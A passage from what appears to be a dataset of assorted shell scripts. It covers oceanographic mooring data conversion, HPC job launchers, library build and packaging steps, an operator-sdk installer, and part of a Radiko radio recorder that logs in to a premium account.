W'\nsite_depth=71\ndeployment_date='2018-05-05T02:00:00'\nrecovery_date='2018-08-18T18:00:00'\n\necho $prog_dir\necho $mooringID\necho $mooringYear\necho $lat $lon\necho $site_depth\n\necho \"-------------------------------------------------------------\"\necho \"MTR Processing\"\necho \"-------------------------------------------------------------\"\n\n: '\nserial_no=3200\ninput=${data_dir}${mooringYear}/Moorings/${mooringID}/raw/mtr/3200_data_read.TXT\noutput=${data_dir}${mooringYear}/Moorings/${mooringID}/working/18mtitaepr1a_mt3200_0052m\npython ${prog_dir}EcoFOCIraw2nc.py ${input} ${output}.unqcd.nc mtr 0052 -kw 0 1.1176061626E-03\t5.3109857490E-04\t2.2632054726E-06 False -latlon $lat $lon -add_meta $mooringID $serial_no $site_depth\npython ${prog_dir}EcoFOCIraw2nc.py ${input} ${output}.interpolated.nc mtr 0052 -kw 260 1.1176061626E-03\t5.3109857490E-04\t2.2632054726E-06 True -latlon $lat $lon -add_meta $mooringID $serial_no $site_depth\npython ${prog_dir}NetCDF_Time_Tools.py ${output}.interpolated.nc Trim --trim_bounds ${deployment_date} ${recovery_date}\n\n\nserial_no=4041\ninput=${data_dir}${mooringYear}/Moorings/${mooringID}/raw/mtr/4041_data_read.TXT\noutput=${data_dir}${mooringYear}/Moorings/${mooringID}/working/18mtitaepr1a_mt4041_0062m\npython ${prog_dir}EcoFOCIraw2nc.py ${input} ${output}.unqcd.nc mtr 0062 -kw 0 1.0966941715E-03\t5.2982399741E-04\t2.2533252559E-06 False -latlon $lat $lon -add_meta $mooringID $serial_no $site_depth\npython ${prog_dir}EcoFOCIraw2nc.py ${input} ${output}.interpolated.nc mtr 0062 -kw 0 1.0966941715E-03\t5.2982399741E-04\t2.2533252559E-06 True -latlon $lat $lon -add_meta $mooringID $serial_no $site_depth\npython ${prog_dir}NetCDF_Time_Tools.py ${output}.interpolated.nc Trim --trim_bounds ${deployment_date} ${recovery_date}\n'\nserial_no=4070\ninput=${data_dir}${mooringYear}/Moorings/${mooringID}/raw/mtr/4070_data_read.TXT\noutput=${data_dir}${mooringYear}/Moorings/${mooringID}/working/18mtitaepr1a_mt4070_0062m\npython ${prog_dir}EcoFOCIraw2nc.py ${input} ${output}.unqcd.nc mtr 0062 -kw 0 1.1035390933E-03\t5.2929871073E-04\t2.2657265735E-06 False -latlon $lat $lon -add_meta $mooringID $serial_no $site_depth\npython ${prog_dir}EcoFOCIraw2nc.py ${input} ${output}.interpolated.nc mtr 0062 -kw 536 1.1035390933E-03\t5.2929871073E-04\t2.2657265735E-06 True -latlon $lat $lon -add_meta $mooringID $serial_no $site_depth\npython ${prog_dir}NetCDF_Time_Tools.py ${output}.interpolated.nc Trim --trim_bounds ${deployment_date} ${recovery_date}\n\n: '\nserial_no=4120\ninput=${data_dir}${mooringYear}/Moorings/${mooringID}/raw/mtr/4120_data_read.TXT\noutput=${data_dir}${mooringYear}/Moorings/${mooringID}/working/18mtitaepr1a_mt4120_0057m\npython ${prog_dir}EcoFOCIraw2nc.py ${input} ${output}.unqcd.nc mtr 0057 -kw 0 1.0868933592E-03\t5.3333862062E-04\t2.2130718757E-06 False -latlon $lat $lon -add_meta $mooringID $serial_no $site_depth\npython ${prog_dir}EcoFOCIraw2nc.py ${input} ${output}.interpolated.nc mtr 0057 -kw 583 1.0868933592E-03\t5.3333862062E-04\t2.2130718757E-06 True -latlon $lat $lon -add_meta $mooringID $serial_no $site_depth\npython ${prog_dir}NetCDF_Time_Tools.py ${output}.interpolated.nc Trim --trim_bounds ${deployment_date} ${recovery_date}\n\nserial_no=4121\ninput=${data_dir}${mooringYear}/Moorings/${mooringID}/raw/mtr/4121_data_read.TXT\noutput=${data_dir}${mooringYear}/Moorings/${mooringID}/working/18mtitaepr1a_mt4121_0057m\npython ${prog_dir}EcoFOCIraw2nc.py ${input} ${output}.unqcd.nc mtr 0057 -kw 0 1.0842492768E-03\t5.3502826412E-04\t2.1835588489E-06 False -latlon $lat $lon -add_meta $mooringID $serial_no $site_depth\npython ${prog_dir}EcoFOCIraw2nc.py ${input} ${output}.interpolated.nc mtr 0057 -kw 586 1.0842492768E-03\t5.3502826412E-04\t2.1835588489E-06 True -latlon $lat $lon -add_meta $mooringID $serial_no $site_depth\npython ${prog_dir}NetCDF_Time_Tools.py ${output}.interpolated.nc Trim --trim_bounds ${deployment_date} ${recovery_date}\n\n\necho \"-------------------------------------------------------------\"\necho \"SBE16 Processing\"\necho \"-------------------------------------------------------------\"\n\nserial_no=7021\ninput=${data_dir}${mooringYear}/Moorings/${mooringID}/rawconverted/sbe16/18mtitaepr1a_sbe16_7021_0m.cnv\noutput=${data_dir}${mooringYear}/Moorings/${mooringID}/working/18mtitaepr1a_sc_0000m\npython ${prog_dir}EcoFOCIraw2nc.py ${input} ${output}.unqcd.nc sc 0000 -kw 0 time_elapsed_s False -latlon $lat $lon -add_meta $mooringID $serial_no $site_depth\npython ${prog_dir}EcoFOCIraw2nc.py ${input} ${output}.interpolated.nc sc 0000 -kw 0 time_elapsed_s True -latlon $lat $lon -add_meta $mooringID $serial_no $site_depth\npython ${prog_dir}NetCDF_Time_Tools.py ${output}.interpolated.nc Trim --trim_bounds ${deployment_date} ${recovery_date}\n\necho \"-------------------------------------------------------------\"\necho \"SBE56 Processing\"\necho \"-------------------------------------------------------------\"\n\nserial_no=2452\ninput=${data_dir}${mooringYear}/Moorings/${mooringID}/rawconverted/sbe56/18mtitaepr1a_sbe56_2452_0m.cnv\noutput=${data_dir}${mooringYear}/Moorings/${mooringID}/working/18mtitaepr1a_s56_0000m.unqcd.nc\npython ${prog_dir}EcoFOCIraw2nc.py ${input} ${output} s56 0000 -kw True cnv -latlon $lat $lon -add_meta $mooringID $serial_no $site_depth\npython ${prog_dir}NetCDF_Time_Tools.py ${output} Trim --trim_bounds ${deployment_date} ${recovery_date}\n\necho \"-------------------------------------------------------------\"\necho \"Wetlabs Processing\"\necho \"-------------------------------------------------------------\"\n\nserial_no=flsb_1838\ninput=${data_dir}${mooringYear}/Moorings/${mooringID}/raw/eco_flour/18mtitaepr1a_flsb_1838_0m.txt\noutput=${data_dir}${mooringYear}/Moorings/${mooringID}/working/18mtitaepr1a_flsb_0000m\n\npython ${prog_dir}EcoFOCIraw2nc.py ${input} ${output}.unqcd.nc eco 0000 -kw 0 median 0.0074 49 False -latlon $lat $lon -add_meta $mooringID $serial_no $site_depth\npython ${prog_dir}EcoFOCIraw2nc.py ${input} ${output}.interpolated.nc eco 0000 -kw -8 median 0.0074 49 True -latlon $lat $lon -add_meta $mooringID $serial_no $site_depth\npython ${prog_dir}NetCDF_Time_Tools.py ${output}.interpolated.nc Trim --trim_bounds ${deployment_date} ${recovery_date}\n\n'"} {"text": "<gh_stars>0\n./STREAMP 256 inputs/randomlist33M.txt /dev/null"} {"text": "#!/bin/bash\nset -e\nENVOY_NAME=$1\nSHARD_CONF=$2\n\nfx envoy start -n \"$ENVOY_NAME\" --disable-tls --envoy-config-path \"$SHARD_CONF\" -dh localhost -dp 50051"} {"text": "<filename>stack/services/imagerotator/src/main/docker/entrypoint.sh\n#!/bin/sh\nJAVA_OPTIONS=\"-Xms256m -Xmx256m -Xss256k -XX:MaxMetaspaceSize=64m -XX:MaxDirectMemorySize=16m -XX:+UseCompressedOops\"\nJAVA_OPTIONS=\"$JAVA_OPTIONS -Djava.security.egd=file:/dev/./urandom\"\nif [ \"$JAVA_DEBUG\" = true ]; then\n JAVA_OPTIONS=\"$JAVA_OPTIONS -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005\";\nfi\n\nexec java $JAVA_OPTIONS -jar /imagerotator.jar $SPRING_OPTIONS \"$@\""} {"text": "<gh_stars>1-10\n#!/usr/bin/env bash\n#\n# Project/Account (use your own)\n#SBATCH -A scw1563\n#\n# We ask for 1 tasks with 1 core only.\n# We ask for a GPU\n#SBATCH --gres=gpu:2\n#SBATCH -p gpu\n#\n# Number of tasks per node\n#SBATCH --ntasks-per-node=1\n#\n# Number of cores per task\n#SBATCH --cpus-per-task=1\n#\n# Use one node\n#SBATCH --nodes=1\n#\n# Runtime of this jobs is less then 15 minutes.\n#SBATCH --time=00:15:00\n\n# Clear the environment from any previously loaded modules\nmodule purge > /dev/null 2>&1\n\n# Load the module environment suitable for the job\nsource env.sh\n\n# And finally run the job​\n./run.sh\n#./bin/flip -H -c CUDA -i \"../LAB3/Airbus_Pleiades_50cm_8bit_grey_Yogyakarta.txt\" -o test.txt\n\n# End of submit file"} {"text": "#!/bin/bash\n#\n# Copyright (c) 2016-present, Facebook, Inc.\n# All rights reserved.\n#\n# This source code is licensed under the BSD-style license found in the\n# LICENSE file in the root directory of this source tree. An additional grant\n# of patent rights can be found in the PATENTS file in the same directory.\n\n# Generate the debian package from source for liblfds7.1.0\n# Example output:\n# liblfds710_7.1.0-0_amd64.deb\n\nset -e\nSCRIPT_DIR=\"$(dirname \"$(realpath \"$0\")\")\"\nsource \"${SCRIPT_DIR}\"/../lib/util.sh\n\nITERATION=0\nPKGVERSION=7.1.0\nVERSION=\"${PKGVERSION}\"-\"${ITERATION}\"\nPKGNAME=liblfds710\n\nif_subcommand_exec\n\nWORK_DIR=/tmp/build-${PKGNAME}\n\n# The resulting package is placed in $OUTPUT_DIR\n# or in the cwd.\nif [ -z \"$1\" ]; then\n OUTPUT_DIR=`pwd`\nelse\n OUTPUT_DIR=$1\n if [ ! -d \"$OUTPUT_DIR\" ]; then\n echo \"error: $OUTPUT_DIR is not a valid directory. Exiting...\"\n exit 1\n fi\nfi\n\n# build from source\nif [ -d ${WORK_DIR} ]; then\n rm -rf ${WORK_DIR}\nfi\nmkdir ${WORK_DIR}\ncd ${WORK_DIR}\n\ngit clone https://github.com/liblfds/liblfds.git\n# maybe want to edit a persistent copy...\n# rsync -ravP --delete \"${SCRIPT_DIR}/liblfds/\" liblfds/\n\npushd liblfds\ngit apply --verbose \"${PATCH_DIR}\"/*.patch\npopd\n\ncd liblfds/liblfds/liblfds7.1.0/liblfds710/build/gcc_gnumake\nmake so_vanilla\nLIB_DIR=/usr/local/lib\nINC_DIR=/usr/local/include\nmkdir -p ${WORK_DIR}/install$INC_DIR\nmkdir -p ${WORK_DIR}/install$LIB_DIR\n\nmake INSINCDIR=\"${WORK_DIR}/install/${INC_DIR}\" INSLIBDIR=\"${WORK_DIR}/install/${LIB_DIR}\" so_install \n\n# packaging\nPKGFILE=\"$(pkgfilename)\"\nBUILD_PATH=${OUTPUT_DIR}/${PKGFILE}\n\n# remove old packages\nif [ -f ${BUILD_PATH} ]; then\n rm ${BUILD_PATH}\nfi\n\nfpm \\\n -s dir \\\n -t ${PKGFMT} \\\n -a ${ARCH} \\\n -n ${PKGNAME} \\\n -v ${PKGVERSION} \\\n --iteration ${ITERATION} \\\n --provides ${PKGNAME} \\\n --conflicts ${PKGNAME} \\\n --replaces ${PKGNAME} \\\n --package ${BUILD_PATH} \\\n --description 'Lock-free data structure library' \\\n -C ${WORK_DIR}/install"} {"text": "cat >a <<EOF\nfoo\nEOF\ncat >b <<EOF\nbar\nEOF\n\n./difdef --simple -DA a -DB b >out\ncat >expected <<EOF\n#ifdef A\nfoo\n#endif /* A */\n#ifdef B\nbar\n#endif /* B */\nEOF\ndiff expected out\n\n./difdef --complex -DA a -DB b >out\ncat >expected <<EOF\n#ifdef A\nfoo\n#else /* B */\nbar\n#endif /* A || B */\nEOF\ndiff expected out\n\ntouch c\n./difdef --complex -DA a -DB b -DC c >out\ncat >expected <<EOF\n#ifdef A\nfoo\n#elif defined(B)\nbar\n#endif /* A || B */\nEOF\ndiff expected out\n\nrm -f a b c expected out"} {"text": "<reponame>jason-medeiros/blockparty\n#!/bin/bash\n\n# Microhttpd is a pain to build. This script simply makes the\n# process into a one-step shell script. \n# ~JM\n\npushd ./\ncd ./libmicrohttpd\nautoreconf -fi\n./configure\ncd ./src/microhttpd\nmake clean\nmake\nmake install\ncd ..\ncd ./include/\nmkdir /usr/include/microhttpd/\ncp *.h /usr/include/microhttpd/\npopd"} {"text": "#!/bin/sh\nexport ARCH=$(case $(uname -m) in x86_64) echo -n amd64 ;; aarch64) echo -n arm64 ;; *) echo -n $(uname -m) ;; esac)\nexport OS=$(uname | awk '{print tolower($0)}')\nexport OPERATOR_SDK_DL_URL=https://github.com/operator-framework/operator-sdk/releases/download/v1.9.0\ncurl -LO ${OPERATOR_SDK_DL_URL}/operator-sdk_${OS}_${ARCH}\ngpg --keyserver keyserver.ubuntu.com --recv-keys 052996E2A20B5C7E\ncurl -LO ${OPERATOR_SDK_DL_URL}/checksums.txt\ncurl -LO ${OPERATOR_SDK_DL_URL}/checksums.txt.asc\ngpg -u \"Operator SDK (release) <<EMAIL>>\" --verify checksums.txt.asc\ngrep operator-sdk_${OS}_${ARCH} checksums.txt | sha256sum -c -\nchmod +x operator-sdk_${OS}_${ARCH} && sudo mv operator-sdk_${OS}_${ARCH} /usr/local/bin/operator-sdk\noperator-sdk olm install"} {"text": "<filename>run.sh\n#!/bin/bash\nmpiexec -np 4 -f hosts ./main 10000\nmpiexec -np 8 -f hosts ./main 10000\nmpiexec -np 12 -f hosts ./main 10000\nmpiexec -np 16 -f hosts ./main 10000\nmpiexec -np 20 -f hosts ./main 10000"} {"text": "#!/usr/bin/env bash\n\ndocker exec -it client npm test"} {"text": "#!/usr/bin/env bash\n\nsudo add-apt-repository ppa:deadsnakes/ppa -y\nsudo apt-get update\nsudo apt-get install shellcheck python3.6 -y\nsudo pip install vim-vint pathlib typing enum34"} {"text": "<gh_stars>100-1000\nsource ./start.sh cn.aofeng.demo.nio.NioEchoServer 9090"} {"text": "<filename>unit-test.sh\n#!/bin/bash\necho \"Test backend in here\""} {"text": "#!/bin/bash\n\n# export a polygon shp for each point shp in a dir given input poly grid to join to\n# NB: this is a very special case, eg someone has made a poly grid that their point shp always join to, one-to-one\n# NB: uses postgres db with postgis, expects exact tables names used by shp2pgsql (take basename, remove .shp, remove anything after first period)\n# NB: uses syntax 'geom' rather than 'the_geom' b/c expects postgis 2.0\n# this script built with UCAR's CCSM poly grids and point exports in mind\n# example use: $0 ccsm_grid/ccsm_polygons.shp historical/precip/ 4326 climate_cities out/\n\npoly_shp=$1\npoint_dir=$2\nepsg=$3\ndb=$4\noutdir=$5\n\nfunction table_name { basename $1 .shp | grep -oE \"^[^.]*\" | awk \"{print tolower(\\$0)}\" ;}\nfunction table_exists { echo \"COPY ( SELECT EXISTS( SELECT * FROM information_schema.tables WHERE table_schema = 'public' AND table_name = '$1' ) ) TO STDOUT;\" | psql $db;}\npoly_table=$( table_name $poly_shp )\npoly_exists=$( table_exists $poly_table )\nif [[ $poly_exists == \"t\" ]]; then \n\tfalse\nelse \n\t# if the poly table is not in your postgres db then add it\n\tshp2pgsql -s EPSG:$epsg $poly_shp | psql $db\nfi\n# for each point shp, add it to the postgres db if it is not there already. then join it to the poly table, export as del.shp to the outdir, and rename\nfor point_shp in $( find $point_dir -type f -iregex \".*shp$\" )\ndo \n\tpoint_table=$( table_name $point_shp )\n\tpoint_exists=$( table_exists $point_table )\n\tif [[ $point_exists == \"t\" ]]; then \n\t\tfalse\n\telse \n\t\tshp2pgsql -s EPSG:$epsg $point_shp | psql -q $db\n\tfi\n\t# get a list of all point table fields except for gid,geom\n\tpoint_fields=$( echo \"COPY ( select * from \\\"$point_table\\\" limit 0 ) TO STDOUT DELIMITER E'\\t' CSV HEADER;\" | psql $db | tr '\\t' '\\n' | grep -vE \"^(geom|gid)$\" | sed 's:^:\":g;s:$:\":g;s:^:a.:g' | tr '\\n' ',' | sed 's:,$::g' )\n\t# join all point table fields except for gid,geom to only geom from poly table\n\techo \"drop table if exists del; create table del as select $point_fields,ST_SetSRID(b.geom,$epsg) as geom from \\\"$point_table\\\" as a, \\\"$poly_table\\\" as b where st_within(a.geom,b.geom);\" | psql $db\n\t# remove point table\n\t#echo \"DROP TABLE \\\"$point_table\\\" | psql $db;\"\n\tcd $outdir\n\tpgsql2shp $db del\n\trename \"s:del:$point_table:g\" del.*\n\tcd - 1>/dev/null\ndone"} {"text": "#!/bin/bash\n\nLOC=\"$1\"\n# HTML encode string as %20\nLOCATION=$(sed -e \"s/ /%20/g\" <<<\"$LOC\")\ncontent=$(curl -sS \"https://thisdavej.azurewebsites.net/api/weather/current?loc=NewYork°=C\")\nICON=$(curl -s 'https://wttr.in/?format=1' | sed 's/[+0-9a-cA-Z°-]//g' )\n# echo $ICON\nTEMP=$(echo $content | jq -r '. | \"\\(.temperature)°\\(.degType)\"' | sed 's/\"//g')\nTOOLTIP=$(echo $content | jq -r '. | \"\\(.temperature)°\\(.degType)\\n\\(.skytext)\"' | sed 's/\"//g')\nCLASS=$(echo $content | jq .skytext)\necho '{\"text\": \"'$TEMP'\", \"tooltip\": \"'$ICON $TOOLTIP $LOC'\", \"class\": '$CLASS' }'"} {"text": "# usage: ./train_distributed.sh fold_no\nCUDA_VISIBLE_DEVICES=0 python3 -m torch.distributed.launch --nproc_per_node=1 train_distributed.py --fold \"$1\""} {"text": "<filename>pipelines/pipeline/src/disable-webhook-pr.sh<gh_stars>1-10\n#!/usr/bin/env bash\n\n##\n# This script removes the \"pull_request\" event from a given webhook.\n##\nhook_url=$1\ntoken=$2\n\necho \"{\\\"remove_events\\\": [\\\"pull_request\\\"]}\" | \\\n curl -s -X PATCH -H \"Authorization: token $token\" \"$hook_url\" --data @- > /dev/null"} {"text": "<reponame>c-14/dot<gh_stars>100-1000\n# vim:ft=sh\ndot_clear() {\n\n _dot_clear() { #{{{\n local orig\n \n orig=\"$2\"\n\n if [ -L \"${orig}\" ]; then\n unlink \"${orig}\"\n echo \"$(prmpt 1 unlink)${orig}\"\n fi\n } #}}}\n\n parse_linkfiles _dot_clear\n\n unset -f _dot_clear $0\n}"} {"text": "<reponame>ephes/web_benchmark\n#!/bin/bash\nuvicorn_path=$(find /home/benchmark/.cache/pypoetry/virtualenvs -name \"uvicorn\" | grep -v lib)\n${uvicorn_path} --port 9000 --host 0.0.0.0 --workers 8 benchmark.asgi:application"} {"text": "<reponame>TommasoBruni/cry\n#!/bin/bash\n\n\n\nBUILD_DIR=\nVERSION=\nMACHINE=\nFILEFMT=\nCOMPILER=\nSYSTEM=\n\n# Release name\nRELEASE=\"\"\n\nusage()\n{\n cat << EOF\n usage: $0 [options]\n\n OPTIONS\n -d build directory\n If empty will be set as the last modified dir under\n the \"build\" folder.\n -v version in dotted format\n -m machine type (x86,mips,arm,cortex-m3,...)\n If empty will be set equal to build directory\n -o object file format (elf,coff,...)\n -c compiler\n -h help\nEOF\n}\n\nwhile getopts \"d:v:m:o:c:s:h\" option\ndo\n case \"${option}\"\n in\n d) BUILD_DIR=${OPTARG};;\n v) VERSION=${OPTARG};;\n m) MACHINE=${OPTARG};;\n o) FILEFMT=${OPTARG};;\n c) COMPILER=${OPTARG};;\n h) usage; exit 0;;\n esac\ndone\n\n#\n# Build directory\n#\nif [[ -z $BUILD_DIR ]]\nthen\n BUILD_DIR=build/$(ls -t build | head -1)\nfi\n\n#\n# Library version\n#\nif [[ -z $VERSION ]]\nthen\n MAJOR=$(cat include/cry/version.h | grep \"define CRY_MAJOR\" | awk '{ print $3; }')\n MINOR=$(cat include/cry/version.h | grep \"define CRY_MINOR\" | awk '{ print $3; }')\n PATCH=$(cat include/cry/version.h | grep \"define CRY_PATCH\" | awk '{ print $3; }')\n VERSION=$MAJOR.$MINOR.$PATCH\nfi\nRELEASE=$VERSION\n\n#\n# Machine\n#\nif [[ -n $MACHINE ]]\nthen\n VERSION=$VERSION-$MACHINE\nfi\n\n#\n# File format\n#\nif [[ -z $FILEFMT ]]\nthen\n FILEFMT=$(objdump -f \"$BUILD_DIR/version.o\" | grep \"file format\" | awk '{print $4; }')\nfi\nVERSION=$VERSION-$FILEFMT\n\n#\n# Compiler\n#\nif [[ ! -z $COMPILER ]]\nthen\n VERSION=$VERSION-$COMPILER\nfi\n\nVERSION=$VERSION-$(date +\"%y%m%d\")\n\n#\n# Add files to the archive\n#\nLIBFILES=\"CHANGELOG.md\"\nif [ -f $BUILD_DIR/libcry.a ]\nthen\n cp $BUILD_DIR/libcry.a libcry.a\n LIBFILES=\"$LIBFILES libcry.a\"\nfi\nif [ -f $BUILD_DIR/libcry.so ]\nthen\n cp $BUILD_DIR/libcry.so libcry.so\n LIBFILES=\"$LIBFILES libcry.so\"\nfi\n\n#\n# Create the archive\n#\ntar cvzf cry-$VERSION.tar.gz include/* $LIBFILES"} {"text": "<gh_stars>1-10\n#!/usr/bin/env bash\n\npacker build ../packer/jenkins-slave.json"} {"text": "<reponame>ascheben/msa_pipeline<filename>workflow/docker/scripts/RunGerpFromRoastMaf.sh\n#!/bin/bash\n\n# check args\narray=( \"$@\" )\narrayLength=${#array[@]}\nif [ ${arrayLength} -ge 6 ] ; then\n echo \"Found correct number of arguments ...\"\nelse\n echo \"Error. Please check positional arguments. outgroup is optional and if present, should be the last parameter.\"\n echo \"Usage: `basename $0` <maf> <gff3> <chr_name> <ref_name> <output_file> <threads> <comma separated outgroup> \"\n echo \"Example: `basename $0` alignment.maf reference.gff chr10 Zea_mays gerp.results.txt 6 Ecurvula,Othomaeum,Zjaponica\"\n echo \"Ensure all input files are in the working directory and all dependencies (mafSplit,trimal,raxml,gerpcol,phast,parallel) are installed.\"\n exit 1\nfi\n\n# Mount localMachine:/pathToDataDir to docker://tempFileDir/data\n\nDATA_DIR=/tempFileDir/data\n\nmaf=$1\ngff=$2\nchr=$3\nref=$4\noutfile=$5\nthreads=$6\noutgroup=\" \"\nif [ ${arrayLength} -eq 7 ] ; then\n outgroup=${array[6]}\nfi\n\necho \"RunGerpFromRoastMaf.sh: outgroup = $outgroup\"\ncd ${DATA_DIR}\n/rungerp.sh $maf $gff $chr $ref $outfile $threads $outgroup"} {"text": "#!/bin/sh\n\n# Check argv\nif [ $# -ne 1 ]; then\n echo \"remove-xcodeproj.sh: error: Use \\`sh remove-xcodeproj.sh <PROJECT>.xcodeproj\\`\" 1>&2\n exit 1\nfi\n\n# Reove .xcodeproj\nrm -rf $1 ; :"} {"text": "#!/bin/sh\n\n# First get the latest version of the native pods:\ncd nativeLibs\nsh fetchPods.sh\ncd ..\n\n# For this to work, change includes of azure deps(core and communication) header files\n# in below .h file, to reltive includes.\n# Instead of :\n#\n#import <AzureCommunication/AzureCommunication-Swift.h>\n#import <AzureCore/AzureCore-Swift.h>\n#\n# Make it look like this:\n#\n#import \"../../AzureCommunication.framework/Headers/AzureCommunication-Swift.h\"\n#import \"../../AzureCore.framework/Headers/AzureCore-Swift.h\"\n#\npatch -s -p0 -N < AzureCommunicationCalling.h.patch\n\n# Output \"raw\" bindings to tmp folder to keep a clean git history of binding changes\nsharpie bind \\\n -sdk iphoneos14.4 \\\n -o tmp \\\n -namespace \"Xamarin.AzureCommunicationCalling.iOS\" \\\n -scope nativeLibs/Pods/AzureCommunicationCalling/AzureCommunicationCalling.framework/Headers \\\n nativeLibs/Pods/AzureCommunicationCalling/AzureCommunicationCalling.framework/Headers/AzureCommunicationCalling.h \\\n -c -fmodules \\\n\n# Lastly: manually copy tmp bindings into this folder and make it work\necho \"Remember to merge new tmp/*.cs into ./*.cs\""} {"text": "#!/bin/sh\n#\n# Radiko timefree program recorder\n# Copyright (C) 2017-2019 uru (https://twitter.com/uru_2)\n# License is MIT (see LICENSE file)\nset -u\n\nradiko_session=\"\"\n\n# Define authorize key value (from http://radiko.jp/apps/js/playerCommon.js)\nreadonly AUTHKEY_VALUE=\"<KEY>\"\n\n#######################################\n# Show usage\n# Arguments:\n# None\n# Returns:\n# None\n#######################################\nshow_usage() {\n cat << _EOT_\nUsage: $(basename \"$0\") [options]\nOptions:\n -s STATION Station ID (see http://radiko.jp/v3/station/region/full.xml)\n -f DATETIME Record start datetime (%Y%m%d%H%M format, JST)\n -t DATETIME Record end datetime (%Y%m%d%H%M format, JST)\n -d MINUTE Record minute\n -u URL Set -s, -f, -t option values from timefree program URL\n -m ADDRESS Radiko premium mail address\n -p PASSWORD <PASSWORD>\n -o FILEPATH Output file path\n_EOT_\n}\n\n#######################################\n# Radiko Premium Login\n# Arguments:\n# Mail address\n# Password\n# Returns:\n# 0: Success\n# 1: Failed\n#######################################\nlogin() {\n mail=$1\n password=$2\n\n # Login\n login_json=$(curl \\\n --silent \\\n --request POST \\\n --data-urlencode \"mail=${mail}\" \\\n --data-urlencode \"pass=${password}\" \\\n --output - \\\n \"https://radiko.jp/v4/api/member/login\" \\\n | tr -d \"\\r\" \\\n | tr -d \"\\n\")\n\n # Extract login result\n radiko_session=$(echo \"${login_json}\" | extract_login_value \"radiko_session\")\n areafree=$(echo \"${login_json}\" | extract_login_value \"areafree\")\n\n # Check login\n if [ -z \"${radiko_session}\" ] || [ \"${areafree}\" != \"1\" ]; then\n return 1\n fi\n\n return 0\n}\n\n#######################################\n# Extract login JSON value\n# Arguments:\n# (pipe)Login result JSON\n# Key\n# Returns:\n# None\n#######################################\nextract_login_value() {\n name=$1\n\n # for gawk\n #value=$(cat - | gawk -v \"name=${name}\" 'BEGIN { FS = \"\\n\"; } { regex = \"\\\"\"name\"\\\"[ ]*:[ ]*(\\\"[0-9a-zA-Z]+\\\"|[0-9]*)\"; if (!match($0, regex, v)) { exit 0; } val=v[1]; if (match(val, /\\\"([0-9a-zA-Z]*)\\\"/, v)) { val=v[1]; } print val; }')\n\n value=$(cat - \\\n | awk -v \"name=${name}\" '\n BEGIN {\n FS = \"\\n\";\n }\n {\n # Extract key and value\n regex = \"\\\"\"name\"\\\"[ ]*:[ ]*(\\\"[0-9a-zA-Z]+\\\"|[0-9]*)\";\n if (!match($1, regex)) {\n exit 0;\n }\n str = substr($0, RSTART, RLENGTH);\n\n # Extract value\n regex = \"\\\"\"name\"\\\"[ ]*:[ ]*\";\n match(str, regex);\n str = substr(str, RSTART + RLENGTH);\n\n # String value\n if (match(str, /^\\\"[0-9a-zA-Z]+\\\"/)) {\n print substr(str, RSTART + 1, RLENGTH - 2);\n exit 0;\n }\n\n # Numeric value\n if (match(str, /^[0-9]*/)) {\n print substr(str, RSTART, RLENGTH);\n exit 0;\n }\n }')\n\n echo \"${value}\"\n return 0\n}\n\n#######################################\n# Radiko Premium Logout\n# Arguments:\n# None\n# Returns:\n# None\n#######################################\nlogout() {\n # Logout\n curl \\\n --silent \\\n --request POST \\\n --data-urlencode \"radiko_session=${radiko_session}\" \\\n --output /dev/null \\\n \"https://radiko.jp/v4/api/member/logout\"\n radiko_session=\"\"\n return 0\n}\n\n#######################################\n# Finalize program\n# Arguments:\n# None\n# Returns:\n# None\n#######################################\nfinalize() {\n if [ -n \"${radiko_session}\" ]; then\n logout\n fi\n return 0\n}\n\n#######################################\n# Convert UNIX time\n# Arguments:\n# datetime string (%Y%m%d%H%M format)\n# Returns:\n# 0: Success\n# 1: Failure\n#######################################\nto_unixtime() {\n if [ $# -ne 1 ]; then\n printf \"%s\" \"-1\"\n return 1\n fi\n\n # for gawk\n #utime=$(echo \"$1\" | gawk '{ print mktime(sprintf(\"%d %d %d %d %d 0\", substr($0, 0, 4), substr($0, 5, 2), substr($0, 7, 2), substr($0, 9, 2), substr($0, 11, 2))) }')\n\n utime=$(echo \"$1\" \\\n | awk '{\n date_str = $1;\n\n if (match(date_str, /[^0-9]/)) {\n # Invalid character\n print -1;\n exit;\n }\n\n if (length(date_str) != 12) {\n # Invalid length\n print -1;\n exit;\n }\n\n # Split datetime parts\n year = substr(date_str, 1, 4) - 0;\n month = substr(date_str, 5, 2) - 0;\n day = substr(date_str, 7, 2) - 0;\n hour = substr(date_str, 9, 2) - 0;\n minute = substr(date_str, 11, 2) - 0;\n second = 0;\n\n # Validation parts\n if ((year < 1970) || (month < 1) || (month > 12) || (hour < 0) || (hour > 23) \\\n || (minute < 0) || (minute > 59) || (second < 0) || (second > 59)) {\n print -1;\n exit;\n }\n split(\"31 0 31 30 31 30 31 31 30 31 30 31\", days_of_month);\n days_of_month[2] = (year % 4 != 0) ? 28 : (year % 100 != 0) ? 29 : (year % 400 != 0) ? 28 : 29;\n if (day > days_of_month[month]) {\n print -1;\n exit;\n }\n\n # To UNIX time\n if (month < 3) {\n month+= 12;\n year--;\n }\n tz_offset = 32400; # JST(UTC+9)\n utime = (365 * year + int(year / 4) - int(year / 100) + int(year / 400) + int(306 * (month + 1) / 10) - 428 + day - 719163) \\\n * 86400 + (hour * 3600) + (minute * 60) + second - tz_offset;\n print utime;\n exit;\n }')\n\n echo \"${utime}\"\n if [ \"${utime}\" = \"-1\" ]; then\n return 1\n fi\n return 0\n}\n\n#######################################\n# UNIX time to datetime string\n# Arguments:\n# UNIX time\n# Returns:\n# 0: Success\n# 1: Failure\n#######################################\nto_datetime() {\n if [ $# -ne 1 ]; then\n echo \"\"\n return 1\n fi\n\n # for gawk\n #datetime=$(echo \"$1\" | gawk '{ print strftime(\"%Y%m%d%H%M\", $0) }')\n\n datetime=$(echo \"$1\" \\\n | awk '{\n ut = $0 + 32400; # JST(UTC+9)\n\n # hour, minute, second\n tm = ut;\n second = tm % 60;\n tm = int(tm / 60);\n minute = tm % 60;\n tm = int(tm / 60);\n hour = int(tm % 24);\n\n # year, month, day\n year = 1970;\n left_days = int(ut / 86400) + 1;\n while (left_days > 0) {\n is_leap = (((year) % 4) == 0 && (((year) % 100) != 0 || ((year) % 400) == 0));\n year_days = (is_leap == 0) ? 365 : 366;\n if (left_days > year_days) {\n year++;\n left_days -= year_days;\n continue;\n }\n\n split(\"31 28 31 30 31 30 31 31 30 31 30 31\", days_of_month);\n days_of_month[2] = (is_leap == 0) ? 28 : 29;\n month = 1;\n day = 0;\n for (i = 1; i <= 12; i++) {\n if (days_of_month[i] >= left_days) {\n day = left_days;\n left_days = 0;\n break;\n }\n 